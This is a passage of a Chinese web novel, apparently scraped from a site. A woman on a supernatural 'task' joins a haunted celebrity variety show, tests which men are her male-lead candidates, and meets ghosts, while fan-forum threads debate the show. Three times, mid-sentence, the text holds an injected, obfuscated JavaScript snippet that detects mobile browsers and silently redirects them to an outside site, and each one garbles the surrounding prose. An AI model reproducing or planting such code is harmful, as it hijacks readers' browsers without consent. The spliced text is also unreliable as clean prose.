“确实,我也看到说有淘汰的选手爆料节目组会提前给预定明星选手塞答案。”秦楝想了想,“但是连猫都说出来,就不太像单纯的透题了吧。” “养猫的人身上总有痕迹,”无神主义者思路很科学,“抓痕、猫毛、气味。那节目不是你跟人合办的吗,你不知情?” 秦楝耸了耸肩:“挂我这块羊头而已,说实话,那节目我没怎么参与,不过祁笑春确实是我推荐过去的。” “之前我的一档节目需要一个新人,有人把祁笑春推到我这儿,我一见面就觉得不行,”他戏谑地笑了一声,“有点过于显眼了。” “当时我们在咖啡店,他嘴上跟我说话,实际在看着窗户外面发呆,眼神都是虚的,应该已经料到自己没戏。” “路过了一个小姑娘,他多看了几眼,是那种频率,已经扫过去了、目光又追过去再看。” “我本来以为有多漂亮,一看、平平无奇。” “然后我们就散了,一次很无聊的会面。” “三十分钟后,我下楼、在电梯里又碰到那个女孩儿。” “我在大堂等车,她比我先出大门。” “背影消失两秒后,我听到门口传来尖叫。” 秦楝举起酒杯、又喝了一口。 “有人自杀、从楼上跳下来,正巧砸中了她。” “嘭,身体碎成一滩、血肉模糊。” “我后来看过警方的调查报告,是个意外,自杀的那个人欠债一百多万,在跳楼前十分钟又被人事找去谈话,说要给他调整岗位。” “人生无望、他决定采取更简单的方法来彻底解决问题。” “他和被砸死的那个女孩儿根本不认识。” “但是……”秦楝指尖敲了敲杯壁,眼尾微微弯起,露出一点古怪的笑意,“在这场意外发生前三十分钟、祁笑春多看的那几眼,也是意外吗?我不知道。” 他没再说什么,懒懒地靠在椅子里,半晌,突然坐直身体,一把把杯子里剩余的酒饮尽、干脆利落地站了起来:“到时间去洗照片了。” “怎么,是哪个我没听到的钟表响了吗?”梁觉星回头,看向自己身后,在进屋时候她扫过一圈屋子,这个小会客厅面积不大、布置得很老旧,对着窗户的墙边摆了一台旧电视机,上面墙上挂着一个圆形时钟。 时间显示是六点多。 “别信,这栋楼里的表都是坏的,可能是什么磁场的问题,”秦楝抽出一根烟叼在嘴里,发音模糊地说,“你就当是我的生物钟响了吧。” 他边往外走边翻自己的兜找打火机。 猩红酒液沿着杯壁滑落,沉没在切割出星芒光泽的杯底,空气中浮动着一股葡萄自带的果香混乳酸发酵的黄油味道。 梁觉星凝视着秦楝的背影。 秦楝到现在仍是她的第一怀疑人选。 十足像男主,而且很危险。 是那种很适合放在电影开头在第三秒死掉的角色,要用倒叙,回忆他之前如何风光、放荡、喜欢引人注意、对事物有掌控欲、无时无刻不在耀武扬威地惹事。 对血腥、暴力、死亡没有畏惧,追求刺激。 梁觉星毫不怀疑,如果可以,他会像那位少年罗马皇帝,举办宴会、让众人狂饮,然后在他们酒醉之后,在优美的乐曲声中,让玫瑰花瀑埋葬所有人。 而他会在楼梯上啜饮着葡萄酒,微笑地享受着整个宾客被活埋的过程。 他会选取最新鲜的花瓣,制造这场绝无仅有的艺术。 梁觉星沉默一会儿,叹了口气。 如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997013|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以,她真的不想使用【幸运骰子】,因为她的运气实在是很不好。 骰子无声在她指间出现。 三根手指顶着骰子灵巧地转动了一圈,她在脑海中提出自己需要解决的问题,然后向上抛起。 骰子腾空、下坠、如约落回掌心。 同时,她听到“嘭”的一声,非常欢快,像是保龄球单局获得300分,在最后一个全中时,随着球瓶全部倒地,全场为你绽放礼花。 技能释放。 【甜美恋爱指南】(说明:嗨!老朋友!又找不到你的男主角了吗?没关系,喜欢看修罗场的我总在这里。去接近那些可疑人选吧!触碰、拥抱、接吻,这些戏码我都喜欢,当你们足够亲密时,你就能知道谁才是你的真命天子。哇,这次还有新故事线吗,太好了,老天保佑,我已经厌烦那些无休止的男人保护女人的烂剧情了!冲吧!白马公主!) (特别提示!本产品有技术革新,当你和正确备选项发生肢体接触时,该备选项上会显示特别标注,两次人选使用间有CD期,时长不定。其余用法请自行探索,呦吼~我是一个神秘的技能!) …… 你们这个万有技能百科全书是没有别的能找到任务男主的方法了吗? 现在,到底怎么通过增加亲密值来判断人选这个问题又出现在了她的眼前。 她不介意谈恋爱,但是目前看来像上次一样一个一个谈恋爱是有点不可取了。 她脑子里闪过两个前男友、和一个感觉自己上次没谈过但他看她的目光很像个怨夫的祁笑春,哦,眼前还有一个她已婚丈夫的便宜侄子。 幸运骰子点数1的分量在此刻体现的淋漓尽致。 梁觉星面无表情,第一次生出了“这个任务不做也罢”的念头。 半晌,俯身从地毯上捡起一个打火机,叫住秦楝:“过来。” 秦楝转身,目光从打火机机身顺着梁觉星的手指、胳膊挪到她的脸上,有些意外地慢慢挑起眉头,而后脸上浮起笑意,他走到梁觉星身前,单膝跪下,摆出下位者的姿态,将脸凑到她的手边,冲人抬起下巴。 额发凌乱地垂下来,发色漆黑、眉心雪白,睫毛浓密卷翘像勾了一层眼线,在眼尾拖出一道撩人的弧度。眼内亮晶晶的、带着笑,又像刻意在蛊惑。 梁觉星垂眸看着他:“秦楝,不要搞事情,正常地把这个节目拍完,好吗?” “听你的,婶婶,我很乖的。”秦楝仰着的脸看上去十分温顺无害,“不过,”他眨了眨眼,卷曲的睫毛上下摆动,眼球表面浮动着一层反光的水色,有一瞬间像个活过来的芭比娃娃,精致出一股让人毛骨悚然的非人感,“出于本职工作的需求,我得把它拍摄得有趣一点。这样我们的观众才会满意。” 梁觉星盯着秦楝的脸,想到山林深处的蘑菇,长在潮湿漆黑的地方,艳丽、美味,散发气味吸引活物,让它们痛苦地死在美丽的幻觉里。 她漫不经心地拍了拍他的侧脸,在接触的瞬间听到“叮”的提示,秦楝那张漂亮脸蛋的上方蹦出一个透明标志: 1/n。 可以,技能确实更新换代了,以前接触到人选时只会感觉到触碰的部位有一秒剧烈的灼热感。 梁觉星的目光扫过那个很快消失的标记,秦楝是其中一个人选,这个消息并不让她感到意外。 秦楝很敏感地捕捉到她视线那一瞬的飘移,他像小动物似的歪了歪脑袋:“在看什么,我不好看?” 梁觉星掐着他的下巴把他的脑袋正回来,拨动火轮,一边敷衍地回答:“太好看了,没法一直看。” 秦楝笑意更深,他咬着烟蒂调整烟头的角度、就着火苗吸了口烟,橙红的火星亮起又熄灭,眼皮掀起、他仔细打量着梁觉星,目光如有实质,半晌,他吐出一口烟,边发出舒服的喟叹:“你为什么会和我叔叔结婚?” …… 因为系统有病。 “因为他有钱。” 秦楝耸了耸肩,语气很随意:“啧,那你还不如考虑一下我。” “?” 这到底是个什么任务世界? “你有道德底线吗?” “当然有,”秦楝笑嘻嘻地站起来,比划了一下,“但可能不多。” 他边往外走,边把空中飘浮的一团烟雾挥散,“怎么,婶婶喜欢道德感高的?” 走到门口时,背对着梁觉星做了个拜拜的手势:“那等你离婚以后记得叫我啊。” 7. 007 you will 梁觉星独自在房间里坐了一会儿,秦楝对刺激剧情的追求让她感觉到一点危险。在使用【幸运骰子】之前,她有一瞬间动心,一旦确定本任务男主不是他,怎么在维持综艺拍摄的前提下、把他干掉。 她搭在座椅扶手上的右手虚空弹了几个音符,然后举起酒杯一口把残酒饮尽。 杀了也可惜,品味确实不错。 梁觉星走到门口时,身后的灯光忽然熄灭。 身前走廊的暗黄色灯光打在她身上,将影子长长地拖进身后房间的地板上。 房间内无征兆地响起声音。 像很久以前那种陈旧、泛黄的广播声音。 “滋……滋滋……今天晚上到明天……东部……阴有小雪……滋滋……咁点解会有咁样嘅变化呢……滋……凶杀案……保持冷静……滋滋……至仁至慈的主……佑助……”声响滋滋啦啦、带有杂音,像信号时有时无的的电台。 又转到一个男人的独唱,语调空灵鬼魅,反复只有一句:“youwillalwaysloveme” “youwillalwaysloveme” 声音逐渐变调、扭曲、失控,像有女人在尖叫、怪笑。 混杂在一起,最后变成一个女人轻声的、愉快的哼唱: “youwillalwaysloveme……” 很轻的脚步声响起,径直出现在她的身后,有一瞬间,梁觉星感觉到有一具冰冷的身体、似乎正贴在她的背上。 从脖颈升起一股凉意,她屏住呼吸,感觉自己的手指冰冷发麻。在剧烈的情绪波动中,理智在某个瞬间降至极致,她的大脑在突如其来的恐惧中分裂,一半试图指挥她的双腿快跑、另一半命令她抬起眼睛探查周边最快的逃生和躲避线路。 一秒……两秒……枕叶后下方皮层传导神经冲动,她听到脚步声再次响起、拖沓着很慢地远离。 梁觉星深吸了口气,转过身去。 屋内一片黑暗,只有墙边那台不知何时打开的电视散发出蓝白色的冷光,电视没有信号,屏幕上闪烁雪花。 嗡嗡的电流声中,那句歌词仍在仿佛十分甜蜜轻盈地反复哼唱。 一个穿着白色睡裙的女人在歌声中慢慢走向电视。 “嘀嗒” 随着每一步走动,水顺着她的小腿蜿蜒地流下来、打在地板上,踩出湿淋淋的脚印。 “嘀嗒” “嘀嗒” 声音在空荡的房间里放大、回荡。 梁觉星没有动,有什么声音混杂在低沉而杂乱的声音中,她站在原地试图分辨。 “咔” 是走动的秒针声。 歌声忽然卡顿。 “youwillalways——” “loveme” “youwi——” 电视屏幕上的雪花画面开始抖动,一些图案断帧般地间歇性闪现出来。 “lov——” “you——” 她意识到自己必须离开。 现在。 “嘭!” 楼上忽然传来一阵巨响——像是吊灯砸下来或是人型铠甲倒了,梁觉星抓住这不到一秒的时间猛地向后退出一步、同时敏捷地抓过门把手一把把门关上。 她始终面向室内、没有回头或转身。 站在门口,屏住呼吸,终于等到门缝里的光变成暖色。 与此同时,室内恢复成一片安静。 梁觉星抬手捂住脸,在轻微的窒息环境中深深吸了一口气。 安静真好,赞美安静。 任务实习期灵异主题培训的课程她上过三次,老师让写课后感,她说原来恐惧到极致在见到鬼的那一刻是叫不出来的。 怕鬼这个体质她一直无法脱敏,但从来没有拒绝过做含有灵异元素的任务。像很多人害怕恐怖片却还是坚持要看,类似一种安全阈值内的自虐,享受自己肾上腺素狂飙的感觉。 心理医生说她这是一种低危险性的情感障碍。 半晌,梁觉星转身,准备去会客厅给自己找瓶酒喝。 整个一楼很安静,所以当她发现会客厅里有人时脚下一顿。 壁炉里没有添柴、火已经接近熄灭,枯木里藏着一些光点般的余烬。 整个屋子沉没在一种很深又不算黯淡的蓝色中,像那种噩梦惊醒后天光的颜色,冰冷、安静、你知道自己独身一人。 陆困溪独自坐在窗前的椅子上,上身穿一件薄群青色丹宁衬衣,肩臂、胸膛的骨骼肌肉将衬衣的轮廓撑起来,有一种力量被包裹束缚住的克己性感。此刻虽然只有他一个人,坐姿也有一种持重感,仿佛骨子里不懂什么叫松懈。 面前近乎落地的大玻璃窗外,雪花静寂地落下,银白月光反射在他的身上,让他的脸部轮廓更像某种贵重冷硬的雕像。 梁觉星看了一会儿,抬手屈起手指叩了叩门:“陆困溪,很晚了。” 陆困溪会是本任务的男主吗?她不知道。参与这个综艺的人太多,导演、嘉宾、一堆工作人员,就目前信息来看,陆困溪与综艺的关联性并不算太高。但现在既然导演是1/n,那她猜测嘉宾和幕后工作人员里可能还各有一个人,这样人员配比比较平衡。 但如果陆困溪是的话,增加亲密值这件事可能稍微有点难办。 从他今天见面时的表现来说,她觉得陆困溪现在似乎不太喜欢自己。 不难理解,毕竟当初是她甩了他。 她印象里他一直是个对身边所有人都很傲慢的人,自尊心极高,传言他家世显赫,事实看来确实很像,如果不是自小生活在那样的环境里,很难养成习惯自己是中心所有人要围绕他转的生活方式,有时候有些不认识的人贸然跟他打招呼,他看人时微微偏头,目光睥睨地下压,气场和普通人全然不相同,也不是可以后天养成的姿态。 他就像一颗净度完美无暇、重达一百克拉的钻石,锁在钢制底座的独立式玻璃柜里,微型投影灯和LED射灯重点聚焦,外加三重防盗。 而自己在钻石表面留下了一个手印,钻石当然会不高兴。 陆困溪转头,就看到刚才还在想的人此刻就站在门口,壁灯在她身上落下暖黄的光晕。她抱着胳膊,微微偏着身体、脑袋抵着门框,很悠然平静地注视着他。 她好像总是这样,他漫不经心地想,在繁闹嘈杂的人群里是冷清的那一个,而在冰冷的雪夜中、却又会散发着温暖的光。 被那样的光亮照过很容易生出一些期待,对家庭、美好生活、晚上可以拥抱的人、清晨一起吃的早餐,所有具象、抽象的东西,所以华丽词藻与朴实语言描述的场景。 后来他们绑上他的胳膊、往他的嘴里塞镇定剂。他依旧可以看到那些场景,她看向自己的目光、垂下的睫毛、温柔的唇瓣。 所有的幻觉都是零碎的、但又那么真实。他能听到她的低笑声、缓缓的,她的指尖从他的胳膊内侧慢慢抚摸过去。 他偶尔清醒,意识到自己拒绝承认她的存在是幻觉。 他们给他注射药剂,那些冰冷的药水注射进他的身体里,他感觉到自己的身体被冰冻住,思维凝滞,他像一条被时间淘汰追不上季节变幻的鱼、想要游上去呼吸新鲜空气、却被冻在厚厚的冰层里。 直到今天在大雪中看到她的第一眼,他感觉到自己冰冻的血液融化了、又开始缓缓地在血管中流淌,他甚至能听到碎冰破裂的声音。 还有些细碎的冰碴在制造疼痛,但血液是温热的,如此可贵的真实。 梁觉星看了他一会儿,心想,果然。 她站直身体,在陆困溪的注视中慢慢踱步到他身侧,垂眼看他,黯淡光色下,他的眼里像浮着一层清晨凉薄的海雾。 然后她抬起手来,像要做一个抚摸的动作,但手指只落在人的颈侧,指尖非常轻的、搔痒似的从人冰凉的皮肤上划过,这是一个非常危险的地方,薄薄一层皮肤下血脉流动,如同将咽喉命脉交出。 陆困溪猛地握紧扶手,海雾驱散,有一瞬间那双眼内暗流涌动,简直深到惊人。 同时,梁觉星听到提示【太急啦,这么快来两个人本技能吃不消哦,上一个还没消化好呢】 啧。 梁觉星收回手、顺势帮他整理了一下完全没乱的领口。然后转身去架子上拿了瓶酒。 她看不见的地方,陆困溪微微仰头,喘了口气。 再开口时,嗓音有点哑:“来找我?” 梁觉星没看他,拔出瓶塞,将玻璃瓶底在柜面轻轻一磕,用动作回答:来找酒的。 倒了小半杯酒,一口饮尽,那股强烈紧张感的余韵终于不再像一颗钉子一样不停凿她的后脑。她背靠柜子转过身来,姿态很悠闲,垂在身侧的两指间夹着瓶口晃了晃,一边若有所思地打量着陆困溪,半晌,开口道:“陆困溪,你单身吗?” 陆困溪看着她眯起眼睛:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997014|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么意思?” 梁觉星挑起眉头,声音带着一点玩味,“不懂?” 两人对视片刻,陆困溪发出一声很轻的嗤笑:“梁觉星,别说你现在……” 没听他说完,梁觉星忽然打了个呵欠。 算了,明天再说吧,倒也不急。男主人选的素质相差不会太多,要都像秦楝这样,也不好杀。何况五天的任务,前两天发生关键事件的可能性太低。 她把酒瓶往柜子里一放,冲人晃晃两根手指:“走了。” 走到楼梯前时,听到身后响起脚步声,陆困溪跟了上来。 没有跟她并排走,而是停在距离两步远的位置上,不远不近。 楼梯只有拐角处有壁灯,光色暗淡又明亮,影子有一瞬的接触、又迅速向逆向的两端分离,墙面悬挂的圣母像垂眸看着他们。 安静中,陆困溪忽然开口,陈述句,语气很冷淡,仿佛只是告知、并不期待回应:“我有段时间以为你死了。” 梁觉星皱起眉头,这是数据覆盖的bug,就像掉帧图像未及时刷新的瞬间,但fps足够高时不应该被任何人眼捕捉到。 她和陆困溪的房间同在一层楼。二楼除了他俩外还有祁笑春和宁华茶,秦楝和周渚住在三楼,其余的工作人员都在另侧的翼楼。 上到二楼,梁觉星停下脚步,她站在比陆困溪高两层的地方,俯视着他:“如你所见,”她微微颔首,“人就在这里。” 陆困溪似乎想说什么,宁华茶的房间门突然打开。他穿着一件黑色工字背心、脸上挂着汗珠,衣服有点湿、能隐约看到下面起伏的胸肌曲线、和块块分明的腹肌。 梁觉星忽然懂了刚才那声响动的来源。 宁华茶带着一身蓬勃的热气和热烈的荷尔蒙、像什么精力充沛的热血男高,熏得梁觉星脚下一歪改了远离他的行进路线。 “你们俩怎么在一块?” 梁觉星从他身边走过去,停都没停、懒得回答,能怎么,偶遇,不然呢,偷/情? 宁华茶没被理会,想去拉她衣角,梁觉星反应很快、抬手一把握住他的手腕。 与此同时,熟悉的声音响起。 “叮” 梁觉星转头,果然,宁华茶头上蹦出一个1/n。 …… 你消化得还挺快。 不是好消息,但也不算太意外。 梁觉星看着这条狼狗,看上去也很能作死,默默叹息,忍了又忍,终于耐下心来,她把手收回,用尽量温柔平和的语气对眼前两人讲:“这破房子的灯太暗了,你们俩晚上少出门。” 梁觉星离开很久,宁华茶还低头盯着自己的胳膊发愣——那里仿佛还残存梁觉星手心的触感,在陆困溪抬脚准备从他身前走开的时候,他忽然抬起头来:“梁觉星刚才在关心我呢。” 陆困溪表情很冷:“收起你四处发/情的劲头,梁觉星已经结婚了。” “那又怎么了?”宁华茶莫名其妙。 陆困溪脸上更厌恶:“难道你还想给她当见不得光的地下情人?” 宁华茶没当这是反问,认真思考了一番:“难道我不能?” “……”陆困溪看他像看条无可救药的狗,“滚开。” 他走到门口时,听到宁华茶在身后冷笑了一声:“难道你不想?” 梁觉星单身的话就和她做恋人、结婚了就给她当情人,难道你不想? 陆困溪没理会,嘭的一声把门摔上。 风波短暂且波及有限,直接相关的梁觉星正脱了衣服往浴室走、没听见什么,而间接相关的秦楝正坐在暗室的椅子里。 悠闲地用脚打着节拍,嘴里愉快地轻哼着饮酒歌。 眼前悬挂着两张快要晾好的胶片,一张上是齐全的五位嘉宾,而另一张……水斑消除、水渍褪去,已经显影的图案更加清晰。 只有黑白两色。 是一只干枯的手……捂住镜头。 梁觉星在熟睡中转身,本应落在柔软被面上的手摸到意料之外的东西。 滑腻、潮湿、冰冷。 她猛地惊醒,但没有睁眼。 室内一片安静,静的她能听到自己鼓膜里血液泵出的声音。 “咚” “咚” “咚” 她知道黑暗之中,什么东西在自己的床边。 与她近在咫尺。 “啪” 一滴冷水滴落到她的眼皮上。 8. 008 凌晨一点,无神主义者梁觉星转过身,打算当作什么也没有发生,室内一片安静,钟表没有响,她的手落在自己紧闭的眼上——触手干燥。五分钟后,她睡着了。 凌晨一点十三,祁笑春跟在一个男人的身后行走在一片漆黑的走廊里,直到走到一间房间的门口,他看到那个男人举起枪,上膛、拉开保险,枪响声和尖叫声混杂在一起,血腥气铺天盖地,他快要窒息,诡谲浓稠的深红色与明蓝色在走廊里晃动,他在跌跌撞撞地逃跑,低头,看见自己满手的血。 他忽然意识到自己在做梦。 凌晨三点,秦楝剪完最后一个镜头,掐灭烟头把烟蒂扔进已经装满了的浅底水仙碗里。 凌晨三点三十七,周渚听到走廊上门开闭的声响,摘下眼镜将手头的书合上放到床头,扭身熄灭床头灯。 凌晨四点十六,陆困溪醒来,他在床上安静坐了一会儿,从药瓶里倒出一颗药、就着冷水咽下。 凌晨五点,宁华茶在睡梦中发出梦呓:“不要……不要极光……” 早上九点,部分人已经坐在教室或办公室、部分人站在拥挤闷热的地铁或公交里,许多手机在同一时间弹出提示。 【综艺-招魂】官方账号全平台发布定档消息,附一张宣传照片。 梁觉星等五人面对镜头坐在椅子上,身后是各自的灰白色影子。 两分钟后,词条后附标识【热】。 五分钟后,标识转为【沸】。 早上九点零九分,【综艺-招魂】官方账号全平台发布时长一分十六秒的宣传视频。 三分钟后,词条后附标识【爆】。 仰角,雪花从灰白色的天空中降落到镜头上、缓缓融化,画质非常清晰,仿佛真的落在脸上、甚至能感觉到冰冷的触感。没有配乐,只有风声,然后响起脚步声。 从车里踏出、踩在雪地上。 镜头转移,是梁觉星和陆困溪的对视。纷乱的雪花从他们之间呼啸而过。 镜头后拉,至看清整栋房子。一楼已亮起灯光。 缓慢推进,至壁炉里燃烧的篝火,随地板上的光影移动,坐在前面的五个人逐渐显露出来。 看向或没有看向镜头,神色自若,安然自如,仿佛未被窥探、接受仰视。灯火摇曳的瞬间,有一种明暗对比强烈的油画跃然而动的光感,明亮而生动的脸笼罩在沉郁的大部暗块中,像一场误入的华丽旖梦,惊心动魄到让人忍不住屏住呼吸。 色调转冷,在黑暗前,听到“咚咚”的两声敲击。 最后是熟悉的声音:“我回来了,” 像是有轻笑。 “想我了吗?” * 【娱乐八卦交流论坛】-【灌水区】-【zh相关】 1L(楼主) 我受够了,影帝粉真是一群疯狗,宣传博下面一打开五十条全tm是他们家的宣传标语。 2L 没办法咯,他们得争气啊,谁让影帝难得下凡一回,C位竟然是梁觉星哈哈哈哈,我笑死 3L 星仔好美星仔好美星仔好美我舔舔舔舔舔舔舔 4L 楼上什么玩意儿跑过去了?陆困溪唯粉确实疯了,不过cp粉很嗨,妈妈!我磕的cp死而复生啦! 10L ?有病吧你们,梁觉星和陆困溪都分手六年了,这都能磕? 13L [图片][图片][图片][视频][视频][视频]眼瞎就去治,这对视,你不磕? 17L 一个对视四个分镜,梁觉星看我都深情 32L 4L跟我走,隔壁在团建,《让她降落》《十年》《AA》《社交距离》《真相是假》《我从此不敢见观音》应有尽有。梁觉星回来了,我的剪刀手太太们也回来了! 57L 我不得不说,梁觉星的长相也太绝了,镜头一到她脸上我脑子里自动放配乐,这场雪简直就是为了她下的 99L 靠,今天热闹得我好像一只瓜田里的猹,报!隔壁水星粉和觉察粉打起来了!觉察粉说凭啥水星能有单独镜头! 127L 觉察粉还活着呢?宁华茶早无所谓了吧,他长的就是一张“拜拜就拜拜,下一个更乖”的脸啊 139L [视频]指路3分12秒,宁华茶和梁觉星分手半年多,梁觉星当时的男朋友刚被拍到陪姐姐去医院待产,参加活动的时候有记者问梁觉星打算什么时候要孩子,此时,在另一边接受采访的、跟梁觉星隔着三十个人、二十米的宁华茶一下子转过脑袋看她,速度快的话筒都跟不上。 二十米啊,宁华茶,你小子玩游戏盲狙那么准我算是明白为什么了[微笑] 172L 我怀疑宁华茶和梁觉星死灰复燃了,仔细看看照片啊朋友们,每个人的影子都是单独的,怎么偏偏宁华茶和梁觉星站在一起了,而且看位置,是宁华茶去找的梁觉星 207L 我女好美,三年不见风采依旧,妈妈好欣慰[擦泪] 312L 我把片尾看了三遍,“远离喧嚣,避开拥挤,灵魂安静小憩”,明显的生活慢综啊。但是秦楝,你拍的是啥?恋综吗? 375L 秦楝向来会搞噱头咯,老传统了,每个综艺不搞点大事出来我看他会憋死。 402L 妈妈爸爸贴贴妈妈爸爸贴贴妈妈爸爸贴贴[比心][比心][比心] 404L 这是综艺讨论贴,cp粉能不能滚远点儿?等会儿……你磕的哪对cp? 462L 看完139l的视频有点粉梁觉星了,记者问她什么时候要孩子,她问记者怎么,你生多了?hhhh 497L 理讨,梁觉星长得也没那么“惊为天人”吧? 498L 楼上,说梁觉星不够漂亮可以,先把你用的梁觉星的头像换了[微笑] 573L 不想磕过期cp了,想搞点新鲜血液。[图片]祁笑春这个视角是在看梁觉星吧? 612L 不是吧???祁笑春之前和梁觉星都没见过吧,拍个宣传海报的功夫就爱上了? 644L 没办法[吸烟]刚出新手村就碰上顶级魅魔,这谁顶得住啊 692L 最旁边这个周渚是谁啊?长得有点对我胃口,看上去很有文化。 秦楝,你下次用素人能不能给个介绍! 702L 不对,我记得祁笑春和梁觉星好像是有过交集的,我去搜搜。 861L 692L周渚是我老师!真的很有文化,是语言学专业的副教授。而且真人又帅又温柔!只是没想到我们周老师这么一个本本分分的读书人也下海了,果然,语言学这玩意儿是赚不到钱的[抓狂] 903L [动图]我靠,我就说我没记错。 之前祁笑春代班主持的一档综艺,梁觉星因为同组演员的原因去当过飞行嘉宾,节目里他俩倒是没什么互动,但是当时代拍露出这张图,梁觉星坐在椅子上睡着了、脑袋歪出椅背,祁笑春一直伸手扶着她的脸。 我当时还觉得这张氛围好纯爱,结果不久就传出来梁觉星和赵克谈恋爱了。 春心cp出师未捷身先死…… 1218L [动图]视频四十二秒的地方陆困溪是不是看了梁觉星一眼?他俩这种暗潮汹涌的氛围真的…… 1327L [图片]把陆困溪和梁觉星单独截出来整个感觉都对了,他们两个人坐在那里,连空气都变得值钱 1378L [图片]宁华茶和梁觉星这个cp感才是浑然天成 1399L 够了……cp粉要打去隔壁舞蹈室打 1405L 磕cp的朋友们先停一停,我听说梁觉星已经结婚了啊 1407L 靠,我有一天一定会下地狱的……但背/德这款更好磕了怎么回事 1472L 这个房子怎么越看越眼熟,有没有人懂我? 1475L 楼上我懂你,我看到豪宅也会有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997015|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种感觉,觉得房产证上写的应该是我的名字[斜眼] 1502L 秦楝把这一堆人凑到一起到底想搞什么,给梁觉星选妃呢?隔壁已经开盘压秦楝到底磕哪对cp了 1570L 不是、秦楝要搞事能不能搞波大的,把梁觉星其他前男友也弄来呗,光弄俩是啥意思? 1571L 可能他就磕这俩吧……不过热闹是不缺的,据说赵克早上拍节目的时候看到了招魂官宣的消息,现在在化妆室摔桌子,具体消息可以去隔壁看[链接] 1601L 隔壁吃瓜回来了,感觉可能是真的,看最新照片赵克脸上破了道口子。秦楝为啥不请赵克来啊,这一对才是真夫妻吧,据说当年都要谈婚论嫁了。 1607L cp粉赶紧滚别装路人[微笑]你家cp谈恋爱不到三个月就谈婚论嫁?可惜赵克恨嫁恨成那样天天买通稿照样被梁觉星甩[微笑]而且他当时怎么上位的我们就还记得呢[链接](标题:节目上告白,某人的心机装都不装了) 1802L 说实话,梁觉星恋爱随意分手丛容,谈一个分一个、分一个谈一个这个样子让我有时候忍不住都有点恨她了…… 1803L 恨她什么?恨她长得漂亮?恨她性格好? 1805L 不er、等等、谁性格好? 你是说梁觉星吗? 那个嘴起人来连自己都不放过的梁觉星吗? 演戏的时候看到剧本里出现“守宫砂”这个词,冷笑说“真是烂人演烂戏”的梁觉星吗? 2409L [图片]是我眼花了吗,二楼这个黑乎乎的窗口是不是站着一个人啊? 2411L 有人正常啊,工作人员呗 2489L [动图]我靠,好像不对,这个人脸是突然出现的啊? 2531L 别搞,那是窗帘吧 2534L [图片]我处理了一下图片,这样看的比较清楚,这好像……就是张人脸吧 2537L 一点开大图吓我一跳!那俩黑的是眼眶吗?操操操操,这什么东西啊,看得我san值狂掉 2540L [视频]降速以后能看出来,之前窗户那里确实没有人,背景里也没有人走过去,这张脸是突然出现的。 2543L 那玩意儿……好像是在看着镜头? 2551L ******* 【此帖违反社区公约,已被管理员屏蔽】 * 【夜访鬼话板块】-【灌水区】-【求助贴】 1L(楼主) [图片]有人看那个新综艺招魂的宣传片了吗?里面这个房子看着好眼熟啊……但我想了很久没回忆起来在哪见过,求助一下各位大佬 2L 不是、兄弟,娱乐八卦去隔壁板块哈 3L 散了吧散了吧,一看就是给节目打广告的。 7L 说实话,我看着也有点眼熟,是不是哪个电视剧里见过啊 11L 我靠我靠我靠!三天!我终于想起来了!楼主!是好久之前那个帖子啊!谜案寻踪的那个! 12L 楼上,谜案寻踪是啥? 13L 是改版之前的版块,大家会分析一些疑案悬案什么的,有几年搞的很热闹,偶尔还会有匿名账号跑来放些内部消息。这么一说我也想起来了,是那个灭门案吧? 14L 这么刺激??我去搜搜 15L 别白费劲了,那帖子早没了,说起来应该是十多年前的案子了。好像是一家六口人住在一个挺偏的房子里,前一天还有镇子里的人见过这家人,结果第二天小孩没去上学,老师等了一天报了警,警察到的时候,发现四个孩子都在房子里,全死了。 16L 我艹……那父母呢? 17L 失踪了。 9. 009 晚上窗帘没有完全拉合,梁觉星醒来时半指长的一道光斜打在床尾铜镜底端。暗沉的镜面内,屋子几乎尽在陈旧腐败的黑暗中,唯有这一截熹微光色,透过光柱能看到空气中缓慢漂游的微小浮尘。 窗外隐约传来响动,梁觉星与镜底的蛇对视了一眼,起身拉开窗帘。 天色半晴,雪已经停了,应该没下整夜、在地上积了不算太厚的一层。楼下停着一辆面包车,两个人正往下运东西。秦楝抱着胳膊站在一边,穿着件黑色蓬松款羽绒服,领口立起来,半张脸埋在里面,雪一样的冷白色。 梁觉星试图打开窗户,但不知为何锁芯被封死了,推了几下没推开,倒是落了一片雪下去,正撒在秦楝肩头。 秦楝抬头,看清窗户后面的梁觉星后,本有些厌烦的脸上浮出一点轻松笑意,他对梁觉星眨了眨眼,冲旁边做了个手势。 二十分钟后,梁觉星走进餐厅,就见秦楝已经坐在餐桌边,大概刚进来不久、身体还没回暖,整个人显得玉似的冰冷剔透,懒散地靠着椅背,手里捧着陶瓷茶杯,右手拇指按着手柄,杯底垫放在掌心上。 